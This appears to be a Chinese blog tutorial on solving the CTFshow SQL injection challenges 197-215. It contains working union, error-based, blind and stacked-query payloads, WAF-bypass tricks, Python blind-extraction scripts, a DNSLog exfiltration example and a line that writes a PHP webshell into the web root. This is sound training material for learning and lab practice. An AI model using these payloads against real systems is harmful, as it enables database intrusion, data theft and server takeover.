SQL注入实战指南:从原理到CTFshow通关技巧
1. 项目概述从入门到实战的SQL注入通关指南如果你正在学习网络安全尤其是Web安全方向那么“CTFshow Web入门 SQL注入197-215”这个系列题目绝对是一个绕不开的实战演练场。这不仅仅是一套题目更像是一位经验丰富的师傅为你精心设计的一条从原理理解到手工突破的完整学习路径。我最初接触这个系列时也经历了从“看题懵”到“思路通”的过程它系统地覆盖了SQL注入从基础到进阶的几乎所有核心考点包括但不限于联合查询注入、报错注入、布尔盲注、时间盲注、堆叠注入以及各种奇妙的绕过技巧。这套题目的价值在于它模拟了真实环境中可能遇到的各种“不标准”的防御场景。你遇到的可能不是标准的id1而是被各种函数包裹、过滤了关键字、甚至编码处理过的参数。通过亲手解决这近20道题目你不仅能巩固SQL语法更能深刻理解“攻击者思维”——如何利用有限的信息进行探测、如何构造看似无害实则致命的Payload、如何在被限制的“牢笼”里寻找突破口。接下来我将结合我的实战经验为你拆解这条通关之路上的核心思路、关键技巧和那些容易让人栽跟头的“暗坑”。2. 核心思路与解题框架拆解面对一系列SQL注入题目最忌讳的就是拿到题目就盲目尝试。建立一个清晰的解题框架能让你事半功倍。我的通用思路可以归纳为“四步侦查法”信息收集、注入点探测、技术选型与Payload构造、最终获取数据。2.1 信息收集看清战场全貌信息收集是所有Web渗透测试的第一步SQL注入也不例外。在CTFshow的题目中信息可能以多种形式给出或隐藏。前端代码审计首先永远是查看网页源代码CtrlU。开发者注释、隐藏的表单字段input type”hidden”、JavaScript代码中的接口路径都可能泄露关键信息。例如一道题目的前端JS可能包含向/api/getInfo.php发送请求的代码这直接指明了潜在的攻击面。HTTP响应头分析使用Burp Suite或浏览器开发者工具的Network面板仔细观察每个请求的HTTP响应头。Server字段可能告诉你后端是Apache/NginxX-Powered-By可能暴露PHP版本。有时关键的提示或错误信息会放在自定义的Header里。初始交互与参数推测与题目进行正常交互。是一个查询页面登录框还是简单的id传参观察URL参数如?id1、POST表单字段。尝试修改参数值观察页面回显的变化。比如id1返回正常内容id999返回“内容不存在”id1’返回数据库错误这立刻揭示了注入点的存在和类型。2.2 注入点探测与类型判断确认存在注入点后需要精确判断注入类型这决定了后续的攻击手法。经典探测Payload数字型id1 and 11(正常) vsid1 and 12(异常)。如果12导致页面内容消失或变化基本可判定为数字型注入参数无需闭合引号。字符型id1’ and ‘1’’1(需考虑闭合)。如果输入单引号‘导致报错则很可能是字符型需要构造Payload来闭合前后的引号有时还可能包含括号(‘$id’)。搜索型keywordtest%’常用于LIKE ‘%$keyword%’语句的注入。在CTFshow题目中经常遇到的是被addslashes()、mysql_real_escape_string()函数处理过的字符串或者被intval()强转为整数的参数。对于整型绕过简单对于被转义的字符型则需要考虑宽字节注入如GBK编码下%df’会被转义为%df\’而%df\在GBK中可能构成一个合法汉字从而“吃掉”反斜杠使单引号逃逸或利用二次编码等技术。报错信息分析如果页面直接返回了数据库错误如“You have an error in your SQL syntax”这是黄金信息。它不仅能确认注入有时还能直接暴露数据库类型MySQL、PostgreSQL等和部分查询结构。在后续的报错注入中我们将主动触发并利用这些错误。2.3 技术选型六种注入手法的应用场景根据页面回显的不同选择最合适的注入技术。这是解题效率的关键。联合查询注入最直接、最高效的方法。适用前提页面在正常查询后会直接显示数据库中的某列或多列数据。我们的目标就是通过UNION SELECT将我们想查询的数据“拼接”到原有回显的位置。核心步骤是确定原始查询的列数ORDER BY或UNION SELECT NULL确定回显点然后替换查询。报错注入当页面不显示数据但会打印SQL错误信息时使用。通过故意构造错误的SQL语句让数据库在执行时出错并将我们想要的数据如database()附带在错误信息中返回。常用函数updatexml()、extractvalue()MySQLcast()、floor(rand(0)*2)配合GROUP BY触发重复键错误。布尔盲注页面没有明确数据回显也没有错误信息但会根据查询语句的真假返回不同的页面状态如“存在”与“不存在”“正常”与“404”。通过构造and 11真和and 12假的请求对比页面差异如标题变化、某个单词出现与否、响应长度轻微不同。然后通过substr()、ascii()等函数像“猜字谜”一样一位一位地爆破数据。耗时但通用性强。时间盲注最隐蔽的情况。页面无论真假返回的页面内容都一模一样。此时只能利用sleep()或benchmark()函数通过判断页面响应时间是否延迟来判断查询真假。例如id1’ and if(ascii(substr(database(),1,1))100, sleep(3), 0) --。如果响应延迟了3秒说明第一个字符的ASCII码大于100。堆叠注入一种“奢侈”的注入需要数据库支持多语句查询如PHP的mysqli_multi_query。注入分号;后可以执行任意SQL语句如id1; select “?php eval($_POST[cmd]);?” into outfile “/var/www/html/shell.php”直接写入Webshell。威力巨大但现实中较少遇到。DNSLog外带注入在无法直接回显、盲注又太慢的情况下使用。通过构造Payload让数据库发起一个DNS查询查询的域名中包含了我们想窃取的数据。例如利用load_file()函数去访问一个形如concat(version(),’.xxxx.dnslog.cn’)的域名我们只需要在DNSLog平台查看接收到的子域名记录就拿到了version()的值。常用于快速获取少量关键信息。注意在实际解题中往往是多种手法结合。例如先用报错注入快速获取数据库名和表名再用联合查询或布尔盲注去获取具体表内数据。3. 核心Payload构造与绕过技巧详解CTFshow的题目精髓在于“绕过”。题目会设置各种过滤器WAF我们需要像特工一样用各种技巧让Payload“隐身”。3.1 关键字绕过让WAF“失明”当select、union、where等关键字被过滤时可以尝试以下方法大小写混淆SeLeCtUnIoN。简单的WAF可能只匹配小写。双写绕过如果过滤是简单的字符串替换如str_replace(‘select’, ”, $input)那么selselectect经过替换后中间的select被移除两边的字符又拼接成了select。等价替换and-or-||-like,rlike,regexp或in空格-/**/(MySQL注释符)%09(Tab)%0a(换行)%0c(换页)。在有些题目中甚至可以用括号()来绕过空格如union(select(1),2)。编码绕过URL编码select-%73%65%6c%65%63%74。有时需要双重编码。十六进制编码将字符串转换为十六进制。select-0x73656c656374。在SQL中可以直接使用union select 1,0x73656c656374。Unicode编码/HTML实体编码在Web上下文中有可能被解码。3.2 引号与逗号绕过information_schema.tables、substr(database(),1,1)这些常用语句都离不开引号和逗号。当它们被过滤时绕过引号对于字符串可以使用十六进制或char()函数。例如查询‘admin’可以写成0x61646d696e或char(97,100,109,105,110)。绕过逗号substr(str,1,1)可以用substr(str from 1 for 1)或mid(str,1,1)替代。对于limit 0,1可以写成limit 1 offset 0。3.3 实战中的奇技淫巧利用regexp进行盲注当substr和ascii被禁用时可以用password regexp ‘^a’来判断密码是否以’a’开头。通过不断调整正则表达式可以逐位爆破。利用like进行盲注password like ‘a%’原理同上。无列名注入在联合查询中如果我们不知道列名无法从information_schema.columns中查如何获取数据可以利用已知的列名进行查询或者使用别名。更高级的技巧是union select 1,(select2from (select 1,2,3 union select * from users)a limit 1,1)。这里的2是反引号包裹的数字指代子查询结果中的第二列。利用数学运算和位运算在布尔盲注中and 1可以换成and 1^0异或and length(database())5可以换成and length(database())1按位与。4. CTFshow 197-215 典型题目实战解析下面我将挑选几道具有代表性的题目展示如何将上述思路和技巧应用于实战。4.1 Web 197基础联合查询与信息收集这道题通常是一个简单的注入点用于热身。假设页面通过?id1显示文章。探测?id1’可能报错?id1 and 11正常?id1 and 12异常确认字符型注入。判列数?id1′ order by 4–正常order by 5报错说明有4列。找回显点?id-1′ union select 1,2,3,4–。观察页面中哪个数字如23被显示出来这些位置就是我们可以插入查询结果的地方。获取信息?id-1′ union select 1,database(),version(),4–// 获取当前数据库名和版本?id-1′ union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase()–// 获取所有表名?id-1′ union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name’users’–// 获取users表所有列名?id-1′ union select 1,group_concat(username, ‘:’, password),3,4 from users–// 获取最终数据实操心得使用-1或一个不存在的id值是为了让原始查询不返回结果从而确保页面只显示我们union select的结果看起来更清晰。–是注释符–是注释在URL中代表空格用于注释掉原查询后面的引号或语句。4.2 Web 200报错注入实战题目可能过滤了union和select的部分字符但错误信息会回显。尝试报错?id1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–updatexml()函数用于更新XML文档第二个参数需要是合法的XPath格式。我们通过concat(‘~’, 要查询的数据, ‘~’)构造一个非法格式~的十六进制是0x7e从而触发错误并将查询结果输出到错误信息中。逐层获取获取表名?id1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1)–由于updatexml()最多显示32位如果数据过长需要用substr()或limit分片…substr((select group_concat(table_name) …),1,30)…4.3 Web 201布尔盲注与自动化脚本页面只有“存在”和“不存在”两种状态没有数据回显和报错。确认布尔状态?id1 and 11返回“存在”?id1 and 12返回“不存在”。爆破数据库名长度?id1 and length(database())4不断尝试数字直到返回“存在”。逐位爆破数据库名?id1 and ascii(substr(database(),1,1))100。通过二分法100? 150? …或遍历97-122对应a-z来确定每一位的ASCII码。编写Python脚本手工操作极其繁琐必须编写脚本。使用requests库发送HTTP请求根据响应内容是否包含“存在”关键字来判断真假通过循环爆破数据。import requests import time url “http://challenge_url/?id1” result “” for i in range(1, 50): # 假设长度不超过50 for j in range(32, 127): # 可打印字符ASCII范围 # 注意根据实际情况闭合引号和添加注释 payload f” and ascii(substr((select database()),{i},1)){j}–” full_url url payload r requests.get(full_url) if “存在” in r.text: # 根据实际关键词修改 result chr(j) print(f”Position {i}: {chr(j)}, Current result: {result}”) break print(“Final result:”, result)4.4 Web 204时间盲注的耐心博弈页面无论真假返回内容完全相同。确认时间注入?id1 and sleep(3)–。如果页面响应明显延迟超过3秒则证明注入存在且可执行延时函数。构造时间盲注Payload?id1 and if(ascii(substr(database(),1,1))100, sleep(3), 0)–。如果延迟发生说明第一个字符ASCII码大于100。脚本自动化时间盲注脚本需要加入响应时间判断逻辑。import requests import time url “http://challenge_url/?id1” result “” for i in range(1, 20): low, high 32, 126 while low high: mid (low high) // 2 # 闭合方式根据题目调整 payload f” and if(ascii(substr((select database()),{i},1)){mid},sleep(2),0)–” start time.time() r requests.get(url payload, timeout5) end time.time() if end – start 2: # 判断延迟 low mid 1 else: high mid – 1 result chr(low) print(f”Position {i}: {chr(low)}, Current result: {result}”)4.5 Web 209堆叠注入与预处理语句的妙用题目可能过滤了select、union等但允许堆叠查询。探测堆叠?id1; select 1–。观察页面是否有变化或是否报错。利用堆叠堆叠注入给了我们极大的自由度。我们可以换一种方式查数据如果select被过滤可以用handler语句MySQL特有。handler table_name open; handler table_name read first;。设置变量?id1; set a0x73656c656374202a2066726f6d207573657273; prepare stmt from a; execute stmt;。这里先将select * from users的十六进制编码赋值给变量a然后预处理并执行完美绕过对select关键字的直接过滤。修改数据或结构?id1; update users set password’hacked’ where username’admin’;。这在CTF中可能用于完成某种“状态改变”的题目。5. 常见问题排查与实战避坑指南在实际解题过程中你会遇到各种各样意想不到的问题。下面是我踩过的一些坑和解决方案。5.1 为什么我的Payload没有生效问题现象可能原因排查步骤与解决方案输入‘或and 11页面无变化1. 注入点判断错误可能是POST体、Cookie、Header2. 参数被强转为整数intval3. 存在全局过滤/WAF1. 用Burp Suite拦截所有请求尝试在每个参数、Cookie值中测试。2. 尝试数字型Payloadand 11。3. 尝试最简单的‘、”、\看是否有任何错误或异常回显。union select执行后页面空白或报错1. 列数不对2. 数据类型不匹配3.union或select被过滤4. 注释符不对或未闭合语句1. 重新用order by或union select null,null…确认列数。2. 在回显点尝试union select 1,’test’,3…确保类型兼容。3. 尝试大小写、双写、编码绕过。4. 尝试–空格、–、#、%23等不同注释方式。确保引号正确闭合。布尔/时间盲注脚本判断不准1. 网络波动导致响应时间不稳定2. 页面关键词判断不唯一3. 服务器有速率限制或封禁1. 为时间盲注设置一个合理的阈值如平均响应时间2秒并加入重试机制。2. 寻找页面中更稳定、唯一的特征字符串如title内容、某个div的id。3. 在脚本中增加time.sleep(0.5)避免请求过快被Ban。使用代理池。报错注入返回XPATH syntax error但没有数据updatexml或extractvalue显示长度有限32位使用substr()或limit分片获取数据。例如substr((select group_concat(table_name)),1,30)。5.2 那些容易忽略的细节编码问题URL中的参数会自动进行一次URL解码。如果你的Payload包含%27单引号在发送前要确保它没有被二次编码。在Burp Suite的Repeater模块中可以右键选择“Send URL-encoded as is”来控制。空格处理有时/**/会被过滤可以尝试%0a换行符在MySQL中换行符也是有效的空格替代符。引号闭合这是最基础的也是最容易出错的。一定要数清楚原查询语句中的引号。例如$sql “SELECT * FROM articles WHERE id’”.$_GET[‘id’].”‘”;我们需要闭合第一个单引号并注释掉最后一个?id1′ union select 1,2,3–。information_schema的替代在MySQL 5.7或某些特殊配置下可能无法访问information_schema。可以尝试查询sys.schema_auto_increment_columns或使用无列名注入技术。工具的使用sqlmap是神器但CTFshow的很多题目设计了针对sqlmap的过滤。理解手工注入原理至关重要。手工注入时Burp Suite的Intruder模块用于爆破、Repeater模块用于调试Payload是你的左膀右臂。5.3 从解题到理解构建知识体系做完题目不是终点。我的习惯是复盘总结每做完一道题记录下关键Payload、绕过技巧和用到的函数。搭建环境复现在本地DVWA、SQLi-Labs或自己搭建的PHPMySQL环境中复现题目中的过滤逻辑加深理解。阅读源码如果题目提供了后端源码或赛后分享一定要仔细阅读看看过滤是如何实现的思考是否有其他绕过方式。拓展学习了解预编译语句PDO如何从根本上防止SQL注入理解OWASP Top 10中注入漏洞的原理与防御。这能让你从“攻击者”和“防御者”两个角度全面掌握这个漏洞。通关CTFshow的SQL注入系列你收获的将不仅仅是一串Flag更是一套应对复杂注入场景的实战思维和工具箱。记住所有自动化工具都源于手工原理扎实的基础和灵活的思维才是安全从业者的核心武器。当你能不依赖提示独立分析并构造出绕过层层过滤的Payload时你就真正入门了。

相关新闻

Unity手游千人同屏实战:ECS架构、GPU渲染与网络同步全链路优化

Unity手游千人同屏实战:ECS架构、GPU渲染与网络同步全链路优化

1. 项目概述:为什么“千人同屏”是手游开发的圣杯与挑战 “千人同屏”这四个字,对于任何一位手游开发者,尤其是使用Unity引擎的同行来说,都像是一个既充满诱惑又令人望而生畏的挑战。它不仅仅是屏幕上数字的堆砌,更代表…

2026/7/23 13:59:53阅读更多 →
AI交互新趋势:从Claude Claw看具身智能与多模态技术

AI交互新趋势:从Claude Claw看具身智能与多模态技术

1. 项目背景:AI领域的新物种竞争 最近AI圈爆出一个有趣的行业梗——Anthropic公司被曝正在秘密研发代号"Claude Claw"的新项目,这个代号源自其当家AI产品Claude的"龙虾钳"形象。作为长期跟踪AI技术发展的从业者,我发现这…

2026/7/23 13:59:53阅读更多 →
科技巨头AI军备竞赛:资本逻辑与算力基建

科技巨头AI军备竞赛:资本逻辑与算力基建

1. 科技巨头AI军备竞赛的资本逻辑2025-2026年全球科技产业最引人注目的现象,莫过于七大科技巨头(微软、苹果、亚马逊、Alphabet、Meta、英伟达和特斯拉)在AI领域累计超过6500亿美元的资本开支计划。这个数字相当于越南2025年全年GDP的1.5倍&a…

2026/7/23 13:57:53阅读更多 →
springboot印刷行业系统

springboot印刷行业系统

一、关键词印刷行业系统、印刷行业、印刷行业信息管理、印刷行业后台管理二、作品包含源码数据库万字设计文档PPT全套环境和工具资源本地部署教程三、项目技术前端技术: Html、Css、Js、Vue3.2、Element-Plus后端技术:Java、SpringBoot3.3.0、MyBatis-Pl…

2026/7/23 15:20:14阅读更多 →
curl命令行工具全面指南:从基础到高级应用

curl命令行工具全面指南:从基础到高级应用

1. curl工具概述 curl(Client URL)是一个开源的命令行工具和库,用于通过各种网络协议传输数据。它最初由瑞典程序员Daniel Stenberg于1997年创建,现已成为互联网上最广泛使用的数据传输工具之一。curl支持包括HTTP、HTTPS、FTP、S…

2026/7/23 15:20:14阅读更多 →
小白程序员必看:收藏这份AI Agent开发学习指南,轻松转型高薪赛道!

小白程序员必看:收藏这份AI Agent开发学习指南,轻松转型高薪赛道!

文章分析了当前前端岗位的冲击和AI Agent行业的爆发期,指出前端工程师转型AI Agent的优势,如交互落地能力、工程化思维、全栈思维等。文章详细介绍了AI Agent的核心定义、与传统AI应用的差异、岗位细分及行业需求,并提供了前端转型AI Agent开…

2026/7/23 15:20:14阅读更多 →
物理AI+飞捷科思CTO杨鼎康|新一代物理世界模型Fysiverse,正在打破WM边界

物理AI+飞捷科思CTO杨鼎康|新一代物理世界模型Fysiverse,正在打破WM边界

世界模型太火了,在WAIC2026人工智能大会上,在具身智能展馆中,世界模型代替VLA登上了舞台。 6月,AI教母李飞飞world Lab团队发文,将世界模型分为三大类: 渲染器:以像素的形式输出观测&#xff0c…

2026/7/23 15:20:14阅读更多 →
AI音乐生成技术解析:从Suno、Udio看创作革命

AI音乐生成技术解析:从Suno、Udio看创作革命

1. AI音乐生成技术概述Suno和Udio作为当前最前沿的AI音乐生成平台,正在彻底改变音乐创作的方式。这两个平台都采用了基于深度学习的生成式AI技术,能够根据用户输入的简单文本提示,自动生成包含旋律、和声、节奏乃至完整歌词的原创音乐作品。与…

2026/7/23 15:20:14阅读更多 →
文件上传总失败?秘塔AI类型过滤策略全拆解,从HTTP头解析到Magic Number校验,工程师必存的7步调试法

文件上传总失败?秘塔AI类型过滤策略全拆解,从HTTP头解析到Magic Number校验,工程师必存的7步调试法

更多请点击: https://codechina.net 第一章:文件上传失败的典型现象与归因定位 文件上传失败是Web应用中高频且影响用户体验的关键问题,其表象多样但根源往往集中于客户端、网络链路、服务端中间件及后端逻辑四个层面。准确识别现象特征并快…

2026/7/23 15:18:14阅读更多 →
Go语言静态资源打包方案对比与实践指南

Go语言静态资源打包方案对比与实践指南

1. 项目背景与核心需求在Go语言开发中,我们经常需要处理静态资源文件的打包问题。无论是Web应用的模板文件、前端资源,还是配置文件、证书等,都需要随程序一起分发。传统做法是将这些文件与编译后的二进制文件放在同一目录下,但这…

2026/7/23 0:56:31阅读更多 →
Go语言实现高性能LDAP认证服务的架构与实践

Go语言实现高性能LDAP认证服务的架构与实践

1. 项目背景与核心价值LDAP(轻量级目录访问协议)作为企业级身份认证的黄金标准,已经服务了超过80%的财富500强公司。我在金融科技领域实施统一认证体系时,发现传统Java方案存在启动慢、内存占用高等痛点。而Go语言凭借其协程并发模…

2026/7/23 0:56:31阅读更多 →
【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

更多请点击: https://intelliparadigm.com 第一章:AI面试官实战指南的核心价值与适用场景 AI面试官并非替代人类HR的“黑箱工具”,而是以可解释、可审计、可迭代的方式,赋能招聘全链路的关键基础设施。其核心价值在于将主观经验沉…

2026/7/23 0:56:31阅读更多 →
Chitchatter完整指南:免费开源的终极点对点安全聊天工具

Chitchatter完整指南:免费开源的终极点对点安全聊天工具

Chitchatter完整指南:免费开源的终极点对点安全聊天工具 【免费下载链接】chitchatter Secure peer-to-peer chat that is serverless, decentralized, and ephemeral 项目地址: https://gitcode.com/gh_mirrors/ch/chitchatter Chitchatter是一款革命性的安…

2026/7/23 0:00:28阅读更多 →
从单点好评到指数级传播:AI副业主理人必须掌握的4层口碑渗透模型(含ROI测算表)

从单点好评到指数级传播:AI副业主理人必须掌握的4层口碑渗透模型(含ROI测算表)

更多请点击: https://intelliparadigm.com 第一章:从单点好评到指数级传播:AI副业主理人必须掌握的4层口碑渗透模型(含ROI测算表) 当AI副业主理人不再仅满足于单次服务交付,而是主动构建可复用、可裂变、可…

2026/7/23 0:00:28阅读更多 →
油泥处理设备哪里能买到

油泥处理设备哪里能买到

油泥处理设备哪里有?这是许多从事油田、炼化、清罐业务的从业者最关心的问题。根据河南三丰环保设备有限公司的行业经验,选购油泥处理设备的核心在于设备能否适配当地环保法规与原料特性,而非单纯看价格。该公司总经理王钦田先生指出&#xf…

2026/7/23 0:00:28阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/22 22:56:18阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/22 18:55:50阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/22 18:55:50阅读更多 →